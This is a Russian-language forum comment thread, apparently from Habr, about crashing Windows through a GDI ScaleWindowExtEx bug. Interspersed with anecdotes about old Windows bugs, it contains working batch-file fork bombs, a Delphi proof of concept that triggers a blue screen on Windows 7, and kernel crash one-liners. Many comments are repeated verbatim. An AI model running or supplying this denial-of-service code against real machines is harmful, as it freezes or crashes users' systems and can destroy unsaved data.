Лишний раз подтверждает неестественность двоичной логики
Зачем что-то компилировать, чтобы уронить комп?
Достаточно одного .bat файла. Желающие проверить — милости просим, создайте батник с таким содержанием:
:s
start %0
goto :s
Достаточно одного .bat файла. Желающие проверить — милости просим, создайте батник с таким содержанием:
:s
start %0
goto :s
А чтобы уже наверняка, то можно еще поизвращаться:
s:
start notepad
start iexplore
start firefox
rem start тут уже что душа захочет
start /min /b %0
start %0
start /separate /b %0
goto :s
s:
start notepad
start iexplore
start firefox
rem start тут уже что душа захочет
start /min /b %0
start %0
start /separate /b %0
goto :s
Ctrl+alt+del, выход из сеанса — и нет проблем. Тоже неприятно, но не настолько.
Давно не проверял, но вроде бы у современных виндовых шеллов есть ограничение на количество собственных инстансов.
Вроде бы такой бомбы было не достаточно для отправления в синьку вин2к.
Чего не скажешь о джаваскриптовой бомбе, которая выводила тонны алертов.
Вроде бы такой бомбы было не достаточно для отправления в синьку вин2к.
Чего не скажешь о джаваскриптовой бомбе, которая выводила тонны алертов.
Так синего экрана и не будет. Будет просто висящий UI, и жутко тормозящий taskmgr.exe. Еще на более новых компьютерах может повиснуть Aero.
Но завершение сеанса решает как эту проблему, так и проблему с джаваскриптом (а если последний — браузерный, а не WSH, то достаточно убить процесс браузера из соседнего сеанса).
Но завершение сеанса решает как эту проблему, так и проблему с джаваскриптом (а если последний — браузерный, а не WSH, то достаточно убить процесс браузера из соседнего сеанса).
Вот что не приятно в таких постах это безапелляционное «уязвимость в системе до сих пор не исправлена и неизвестно, когда они ее исправят и сделают ли они это вообще» несмотря на то что уже даже в комментариях отписались что Windows7 и Windows 8 в BSOD от этого кода не падает. Автору — за поиск дешевой популярности.
Windows 7 Максимальная x64 — падает
Собирал на Delphi XE2
program BSOD;
uses
windows;
var
dc: HDC;
const
LAYOUT_RTL = $00000001;
function SetLayout(HDC: HDC; dwLayout: DWORD): DWORD; stdcall; external 'gdi32' name 'SetLayout';
begin
dc := CreateCompatibleDC(0);
SetLayout(dc, LAYOUT_RTL);
ScaleWindowExtEx(dc, -2147483647 — 1, -1, 1, 1, nil);
end.
uses
windows;
var
dc: HDC;
const
LAYOUT_RTL = $00000001;
function SetLayout(HDC: HDC; dwLayout: DWORD): DWORD; stdcall; external 'gdi32' name 'SetLayout';
begin
dc := CreateCompatibleDC(0);
SetLayout(dc, LAYOUT_RTL);
ScaleWindowExtEx(dc, -2147483647 — 1, -1, 1, 1, nil);
end.
Как уронить Windows одной строчкой кода?
KeBugCheckEx(0xBAADC0DE, 0,0,0,0);
или лучше
xor rax, rax
mov [rax], rax
KeBugCheckEx(0xBAADC0DE, 0,0,0,0);
или лучше
xor rax, rax
mov [rax], rax
А через rundll нельзя вызвать? Чтобы вообще батничком :)
Помню, я в 2000 году дорабатывал для немцев программу расчёта оптики пучка электронов в ускорителе и линиях транспортировки. Программа изначально работала на нескольких унихах, имела примитивный GUI на Tcl/Tk, а также имела недостатки в области физики (не хватало продольных характеристик пучка). Надо было сделать, чтобы программа работала не только под унихами, но и под Windows, а также улучшить расчётную часть, после чего съездить в Майнц и подключить программу к местному крупному ускорителю электронов — MAMI. Всё это было сделано, но не без заковырок. Во-первых, у программы получилась довольно интересная архитектура — Qt для Windows тогда был для научных целей слишком дорогим, другие тогдашние кроссплатформенные тулкиты меня чем-то не устроили, и в результате в программе был C-шный GUI API layer (изначально программа была на C), опиравшийся на голый Win32 под виндой и на Qt под Unix'ами — наверное, можно было бы сделать попроще, и сейчас за такое решение я бы себя, быть может, убил, но это было давно. Во-вторых, подключение к системе управления ускорителя было не очень гладким.
Так вот, по поводу Win32. Под NT 4.0 / Windows 2000 приложение вело себя идеально, а вот под Windows 98 вылезала какая-то странная хрень. Сначала появлялось окошко с непонятной мне надписью по-немецки (на компах была немецкая локаль). Затем начинался полтергейст — слетали все шрифты, рушились иконки, при запуске блокнота курсор в нём был на весь экран. Далее приходилось перезапускаться. Я обратился к тамошнему товарищу, под руководством которого я работал, чтобы он мне перевёл надпись в окошке. Товарищ очень прифигел и сказал мне, что там написано — «Операция правильна». Я был в полной растерянности… Ошибка явно проявляла себя не сразу, и в отладчике её искать было очень затруднительно. В общем, нашёл я её уже вернувшись в Москву, пару месяцев спустя, после долгих посиделок с SoftICE — я ошибся в вызове SetDIBits(), вследствие чего Windows 9x рушил память ядра. В общем, понравилось.
Другим казусом при работе с этой программой было, собственно, подключение к системе управления. Мне дали документацию по протоколу и объяснили, какие магниты на линии пучка сейчас не задействованы — с ними можно играться, только не надо включать большие дипольные магниты, т.к. народ (в т.ч. ядрёнщики из других стран) постоянно работает с пучком и они могут вызвать отклонения даже на заметном расстоянии. Ну, я поигрался чуть-чуть, потом смотрю, что-то паника в пультовой напротив, народ забегал. Во время работы с ускорителем вылетела подсистема управления питанием магнитов. Я ошибся в заголовке пакета и демон словил переполнение стека. Сломаться ничего не успело, демона перезапустили, меня бить не стали и даже сказали спасибо за найденный баг.
Безотносительно этой программы — году в 2004-2005 я как-то решил поиграться с рандомизацией WMF под XP, уж больно подозрительной казалась передача оного прямо в ядро. Двигала мной иррациональная ненависть к винде, с которой я тогда был вынужден работать по долгу службы. Ну, сделал прогу, которая замусоривает WMF файл случайными байтами в случайных местах, открывает его, кажись, в IE (чтобы сразу проверить потенциал remote exploit'а), и далее в цикле. Программа поработала пару минут, после чего вылез синий экран. Винда более не загрузилось — на загрузке я получил «The registry cannot load the hive». Самое обидное, что прога не sync'ала файловую систему, и виноватый WMF не сохранился. После восстановления винды повторные запуски рандомайзера подобного эффекта уже не дали, не повезло, и я на это дело забил — а зря, вскоре security researcher'ы нашли большую пачку уязвимостей в WMF/EMF.
Так вот, по поводу Win32. Под NT 4.0 / Windows 2000 приложение вело себя идеально, а вот под Windows 98 вылезала какая-то странная хрень. Сначала появлялось окошко с непонятной мне надписью по-немецки (на компах была немецкая локаль). Затем начинался полтергейст — слетали все шрифты, рушились иконки, при запуске блокнота курсор в нём был на весь экран. Далее приходилось перезапускаться. Я обратился к тамошнему товарищу, под руководством которого я работал, чтобы он мне перевёл надпись в окошке. Товарищ очень прифигел и сказал мне, что там написано — «Операция правильна». Я был в полной растерянности… Ошибка явно проявляла себя не сразу, и в отладчике её искать было очень затруднительно. В общем, нашёл я её уже вернувшись в Москву, пару месяцев спустя, после долгих посиделок с SoftICE — я ошибся в вызове SetDIBits(), вследствие чего Windows 9x рушил память ядра. В общем, понравилось.
Другим казусом при работе с этой программой было, собственно, подключение к системе управления. Мне дали документацию по протоколу и объяснили, какие магниты на линии пучка сейчас не задействованы — с ними можно играться, только не надо включать большие дипольные магниты, т.к. народ (в т.ч. ядрёнщики из других стран) постоянно работает с пучком и они могут вызвать отклонения даже на заметном расстоянии. Ну, я поигрался чуть-чуть, потом смотрю, что-то паника в пультовой напротив, народ забегал. Во время работы с ускорителем вылетела подсистема управления питанием магнитов. Я ошибся в заголовке пакета и демон словил переполнение стека. Сломаться ничего не успело, демона перезапустили, меня бить не стали и даже сказали спасибо за найденный баг.
Безотносительно этой программы — году в 2004-2005 я как-то решил поиграться с рандомизацией WMF под XP, уж больно подозрительной казалась передача оного прямо в ядро. Двигала мной иррациональная ненависть к винде, с которой я тогда был вынужден работать по долгу службы. Ну, сделал прогу, которая замусоривает WMF файл случайными байтами в случайных местах, открывает его, кажись, в IE (чтобы сразу проверить потенциал remote exploit'а), и далее в цикле. Программа поработала пару минут, после чего вылез синий экран. Винда более не загрузилось — на загрузке я получил «The registry cannot load the hive». Самое обидное, что прога не sync'ала файловую систему, и виноватый WMF не сохранился. После восстановления винды повторные запуски рандомайзера подобного эффекта уже не дали, не повезло, и я на это дело забил — а зря, вскоре security researcher'ы нашли большую пачку уязвимостей в WMF/EMF.
Меня посетила страшная мысль — вы ведь для масштабирования используете значения которые имеют мягкоговоря эзотерический смысл, вдруг так можно и Xwindow/GTK и прочее ронять?
UFO just landed and posted this here
Писал я как-то давно дипломный проект — эмулятор КР580ВМ80А вполть до уровня схемотехники (можно было выбирать, к какой дорожке подключить тот или иной вывод микросхемы памяти, к примеру). Естественно, что требовалась целая куча своих визуальных компонентов, и я их писал и отлаживал. Только один запуск из пяти завершался нормальным закрытием программы. И начал я замечать, что после нескольких аварийных завершений программы битмапы перестают нормально создаваться — и в этой программе, и в других. Сначала прекращали создаваться большие битмапы, потом создание всё меньших и меньших тоже начинало возвращать ошибку, и это при том, что свободной памяти было достаточно. И так до перезагрузки. ОС — Win2000. Именно эти перезагрузки и ошибки в рандомных местах (в любой момент могла произойти ошибка создания любого компонента, создающего битмапы) задолбали меня до того, что я не дописал 5 версию эмулятора (с эмуляцией схемотехники) и защитил диплом с 3-й версией (эмуляция только процессора). Так что подтверждаю, что в ранних версиях Win gdi32 — почти что муравейник.
Под ReactOS никто не пробовал?
Там другая архитектура ядерных компонентов.
Думаю, можно вызвать ошибку и уронить систему. Функция ScaleWindowExtEx() вызывает NtGdiScaleWindowExtEx(), в коде которой есть только проверка на деление на ноль:
if (Xdenom && Ydenom)
{
X = Xnum * pdcattr->szlWindowExt.cx / Xdenom;
if (X)
{
Y = Ynum * pdcattr->szlWindowExt.cy / Ydenom;
if (Y)
{
// ...
Во времена третьего пентиума достаточно было любой команды начинающейся с FFFF в старших двух байтах.
Хотя может чего-то путаю, давно было.
Хотя может чего-то путаю, давно было.
Следующий код, скомпилированный без оптимизации, вызывает исключительную инструкцию:
Насколько я понимаю, правильнее говорить «вызывает исключительную ситуацию».
Гугл во всяком случае ничего полезного по программированию по запросу «исключительная инструкция» не находит.
помнится xp можно прибить банальным кодом FindWindow передавая в качестве заголовка окна "" и затем его закрывая, после выполнения му получаем пустой рабочий стол. Перезагрузка спасает
Ой, ну почему же сразу «прибить»? Это всего лишь закрытие проводника. Я так иногда делал, чтобы освободить ресурсы на ну очень старом компьютере. Только я проводник прибивал из списка процессов.
Вернуться обратно очень просто: Ctrl+Stift+Esc, Файл -> Новая задача, explorer, Энтер.
Вернуться обратно очень просто: Ctrl+Stift+Esc, Файл -> Новая задача, explorer, Энтер.
прежде чем говорить Вы бы попробовали! И минусовать просто так, как-то подло
Чтобы это попробовать, надо иметь при себе компилятор плюсов и XP.
PS Посмотрел в завалявшемся Spy++, и правда: "" — это не проводник, а объект desktop. Но в необходимость перезагрузки все равно не верю — слишком много различных комбинаций клавиш на клавиатуре, не может быть чтобы поломались все и в любом случае.
PPS минусовал не я.
PS Посмотрел в завалявшемся Spy++, и правда: "" — это не проводник, а объект desktop. Но в необходимость перезагрузки все равно не верю — слишком много различных комбинаций клавиш на клавиатуре, не может быть чтобы поломались все и в любом случае.
PPS минусовал не я.
Sign up to leave a comment.
Как уронить Windows шестью строчками кода